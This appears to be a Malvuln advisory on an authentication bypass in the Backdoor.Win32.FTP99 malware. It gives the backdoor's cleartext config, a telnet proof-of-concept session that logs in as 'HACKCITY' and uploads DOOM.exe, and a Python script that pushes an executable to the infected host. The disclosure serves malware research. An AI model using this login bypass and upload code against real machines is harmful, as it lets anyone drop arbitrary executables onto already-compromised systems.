Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP99
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 1492. Credentials are stored in cleartext in "Serv-u.ini" file under "C:\Program Files (x86)\My Paquet archive" with a blank password. Third-party attackers who can reach the system before a password has been set can logon by just supplying the username "HACKCITY".

"Serv-u.ini"

[USER=hackcity]
Password=
HomeDir=c:\
AlwaysAllowLogin=YES

Type: PE32
MD5: 09dd14d3988e08a56798b1480c55a5b0
Vuln ID: MVID-2022-0465
Dropped files: Windll16.exe
Disclosure: 01/24/2022

Exploit/PoC:
telnet.exe x.x.x.x 1492
220-Serv-U FTP-Server v2.3b for WinSock ready...
220 0wn3d
230 User HACKCITY logged in                                                                                             
HELP                                                                                                                    
214- The following commands are recognized (* => unimplemented).                                                           
USER    PORT    RETR    ALLO    DELE    SITE    XMKD    CDUP                                                            
PASS    PASV    STOR    REST    CWD     STAT    RMD     XCUP                                                            
ACCT    TYPE    APPE    RNFR    XCWD    HELP    XRMD    STOU                                                            
REIN    STRU    SMNT    RNTO    LIST    NOOP    PWD     SIZE                                                            
QUIT    MODE    SYST    ABOR    NLST    MKD     XPWD    MDTM                                                         
214 Serv-U, registered to: Data Case                                                                                    
SYST                                                                                                                    
215 UNIX Type: L8                                                                                                       
PASV                                                                                                                    
227 Entering Passive Mode (192,168,18,129,206,190)                                                                      
STOR DOOM.exe                                                                                                                                                                                                 
150 Opening ASCII mode data connection for DOOM.exe.                                                                    
STOR DOOM.exe                                                                                                           
226 Transfer complete - file DOOM.exe received successfully


from socket import *

MALWARE_HOST="192.168.18.129"
PORT=52926
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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